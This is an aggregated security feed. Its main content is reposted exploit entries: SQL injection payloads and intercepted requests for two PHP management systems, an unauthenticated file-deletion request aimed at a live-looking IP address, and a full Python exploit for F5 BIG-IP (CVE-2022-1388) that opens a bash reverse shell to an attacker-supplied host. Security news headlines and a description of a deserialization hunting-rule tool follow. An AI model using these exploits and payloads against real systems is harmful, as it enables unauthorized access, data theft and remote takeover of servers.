Exploit Collector
Royal Event Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
Royal Event Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 884c0f6e25d5c7878c15b69a5867168b87afcc090d923b7b1d8d3da4f3da329d

Download
# Exploit Title: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)
# Date: 2022-26-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-28080
# References: https://nvd.nist.gov/vuln/detail/CVE-2022-28080

------------------------------------------------------------------------------------

1. Description:
----------------------

Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in
/royal_event/btndates_report.php#?= Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.
2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'todate' parameter and save it like poc.txt. Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql
3. Example payload:
----------------------

(boolean-based)

-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns

4. Burpsuite request:
----------------------

POST /royal_event/btndates_report.php#?= HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 334
Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0
Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380
Referer: http://localhost/royal_event/btndates_report.php#?=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="todate"

-1' OR 1=1 OR 'ns'='ns
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="search"

3
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="fromdate"

01/01/2011
--f289a6438bcc45179bcd3eb7ddc555d0--


Source:packetstormsecurity.com

Exploit Collector
TLR-2005KSH Arbitrary File Delete

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
TLR-2005KSH suffers from an arbitrary file deletion vulnerability.

SHA-256 | 7fc517128cfc00794b294020cc0685ba5bd9d822917004a2d7fd31d677f4fd45

Download
# Exploit Title: TLR-2005KSH - Arbitrary File Delete
# Date: 2022-05-11
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-46424

# Proof-of-Concept
# Request

DELETE /cgi-bin/test2.txt HTTP/1.1
Host: 220.89.223.215:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


Source:packetstormsecurity.com

Exploit Collector
College Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
College Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | b22b4daf0882e631e72558215fc7c93f3286e35a1f1f3a8a70f7fb9b95c0a356

Download
# Exploit Title: College Management System - 'course_code' SQL Injection (Authenticated)
# Date: 2022-24-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://code-projects.org/college-management-system-in-php-with-source-code/
# Software Link: https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-28079
# References: https://nvd.nist.gov/vuln/detail/CVE-2022-28079

------------------------------------------------------------------------------------

1. Description:
----------------------

College Management System 1.0 allows SQL Injection via parameter 'course_code' in
/College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.
2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'course_code' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql
3. Example payload:
----------------------

boolean-based blind
Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
4. Burpsuite request:
----------------------

POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns


Source:packetstormsecurity.com

Exploit Collector
AppleVideoDecoder CreateHeaderBuffer Out-Of-Bounds Free

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
AppleVideoDecoder suffers from an out-of-bounds free vulnerability. The attached video file contains a malformed HEVC Decoder Configuration Record that leads to an out-of-bounds free in CreateHeaderBuffer. When copying the VPS, PPS and SPS, the destination pointer is incremented, and if the copied data is larger than the length specified in the input file, it breaks and falls through to a condition that frees the destination pointer, even though it has been incremented. This could free the chunk allocated next to the destination memory.

SHA-256 | a49f6411c8b8733ea1c031b562f4509169b737f83ae46d802b8cf4aed5bd1cb1

Download
Source:packetstormsecurity.com

Exploit Collector
F5 BIG-IP 16.0.x Remote Code Execution

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
F5 BIG-IP version 16.0.x remote code execution exploit.

SHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c

Download
# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x
# CVE : CVE-2022-1388

from requests import Request, Session
import sys
import json
def title():
print('''

_______ ________ ___ ___ ___ ___ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \|__ \ /_ |___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | ) |_____| | __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ / / /______| ||__ < > _ < > _ <
| |____ \ / | |____ / /_| |_| / /_ / /_ | |___) | (_) | (_) |
\_____| \/ |______| |____|\___/____|____| |_|____/ \___/ \___/
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
''')

def exploit(url, lhost, lport):
url = url + 'mgmt/tm/util/bash'
data = {
"command":"run",
"utilCmdArgs":"-c 'bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1'"

}
headers = {
'Authorization': 'Basic YWRtaW46',
'Connection':'keep-alive, X-F5-Auth-Token',
'X-F5-Auth-Token': '0'

}
s = Session()
req = Request('POST', url, json=data, headers=headers)
prepped = req.prepare()
del prepped.headers['Content-Type']
resp = s.send(prepped,
verify=False,
timeout=15
)
#print(prepped.headers)
#print(url)
#print(resp.headers)
#print(resp.json())
print(resp.status_code)
if __name__ == '__main__':
title()
if(len(sys.argv) < 4):
print('[+] USAGE: python3 %s https://<target_url lhost lport\n'%(sys.argv[0]))
print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\n'%(sys.argv[0]))
print('[+] Do not forget to run the listener: nc -lvp 4444\n')
exit(0)
else:
exploit(sys.argv[1],sys.argv[2],sys.argv[3])

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Needs Improvement: Scoring Biden's Cyber Executive Order

One year after it was issued, has President Biden's Cyber Executive Order had an impact?

Dark Reading: Attacks/Breaches
Cloud Firm Appian Awarded $2B in Trade Secret Cyber-Theft Lawsuit

Cloud competitor found liable for breaking into Appian back-end systems to steal company secrets.

Dark Reading: Attacks/Breaches
Egnyte Enhances Program for Managed Service Providers

Enhancements to the program include unique packages, faster response time for invoicing, and dedicated training for new solutions.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
StackHawk Raises $20.7 Million in Series B Funding for Developer-First Application and API Security Testing

Round co-led by Sapphire Ventures and Costanoa Ventures to accelerate product leadership and market growth.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
La UE propone nuevas reglas para que las empresas tecnológicas combatan el abuso sexual infantil…

https://cdn-images-1.medium.com/max/1588/0*ryfxpC5eLngKrun0
PUBLICADO EN 12 MAYO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is The Cost Of Predictive Cyber Security Worth The Investment?

https://cdn-images-1.medium.com/max/753/0*EEMMmGYZyAZ5X8wM
Cybersecurity Events Becoming More Predictable ?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Heyserial - Programmatically Create Hunting Rules For Deserialization Exploitation With Multiple Keywords, Gadget Chains, Object Types, Encodings, And Rule Types
http://www.kitploit.com/2022/05/heyserial-programmatically-create.html

___________________________
@hacking_Attack
@Hacking_Video

Programmatically create hunting rules for deserialization exploitation (https://www.kitploit.com/search/label/Exploitation) with multiple keywords (e.g. cmd.exe) gadget chains (e.g. CommonsCollection) object types (e.g. ViewState, Java, Python Pickle, PHP) encodings (e.g. Base64, raw) rule types (e.g. Snort, Yara)
Disclaimer Rules generated by this tool are intended for hunting/research purposes and are not designed for high fidelity/blocking purposes. Please test thoroughly before deploying to any production systems. The Yara rules are primarily intended for scanning web server logs. Some of the "object prefixes" are only 2 bytes long, so they can make large scans a bit slow. (Translation: please don't drop them all into VT Retrohunt.) Usage Help: python3 heyserial.py -h Examples: python3 heyserial.py -c 'ExampleChain::condition1+condition2' -t JavaObj python3 heyserial.py -k cmd.exe whoami 'This file cannot be run in DOS mode' python3 heyserial.py -k Process.Start -t NETViewState -e base64 "base64+utf16le" Utils utils/checkyoself.py This is a tool to automate bulk testing of Snort and Yara rules on a variety of sample files. Usage: python3 checkyoself.py [-y rules.yara] [-s rules.snort] [-o file_output_prefix] [--matches] [--misses] -d malware.exe malware.pcap Examples: python3 checkyoself.py -y rules/javaobj -s rules/javaobj -d payloads/javaobj pcaps --misses -o java_misses utils/generate_payloads.ps1 YSoSerial.NET v1.34 payload generation. Run on Windows from the ./utils directory. Source: https://github.com/pwntester/ysoserial.net License: ysoserial.net_LICENSE.txt utils/generate_payloads.sh YSoSerial payload generation. Run on Linux from the ./utils directory. Source: https://github.com/frohoff/ysoserial License: ysoserial_LICENSE.txt utils/install_snort.sh Installing Snort on a Debian based system was a bit finnicky for me, so I wrote my install notes here. Use at your own risk in a VM that you have snapshotted recently. utils/server.py Simple Python script that runs an HTTP server on 127.0.0.1:12345 and accepts POST requests. Handy for generating test PCAPs. License Copyright (C) 2021 Alyssa Rahman, Mandiant, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: [package root]/LICENSE.txt Unless required by applicable law or agreed to in writing, software distributed (https://www.kitploit.com/search/label/Distributed) under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Contributing Check out the Developers' guide (DEVELOPERS.md) for more details on extending HeySerial! Prior Work/Related Resources Tools Deserialization-Cheat-Sheet (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet) – @GrrrDog Ysoserial (https://github.com/frohoff/ysoserial) - @frohoff MarshalSec (https://github.com/frohoff/marshalsec) - @frohoff Ysoserial (forked) (https://github.com/wh1t3p1g/ysoserial) - @wh1t3p1g Ysoserial.NET (https://github.com/pwntester/ysoserial.net) and v2 branch (https://github.com/pwntester/ysoserial.net/tree/v2) - @pwntester ViewGen (https://github.com/0xacb/viewgen) – 0xacb Rogue-JNDI (https://github.com/veracode-research/rogue-jndi) - @veracode-research Vulnerabilities Log4J (CVE-2021-44228 (https://www.lunasec.io/docs/blog/log4j-zero-day/)) Exchange (CVE-2021-42321 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42321)) Zoho ManageEngine (CVE-2020-10189 (https://nvd.nist.gov/vuln/detail/CVE-2020-10189)) Jira (CVE-2020-36239 (https://oxalis.io/atlassian-jira-data-centers-critical-vulnerability-what-you-need-to-know/)) Telerik (CVE-2019-18935

___________________________
@hacking_Attack
@Hacking_Video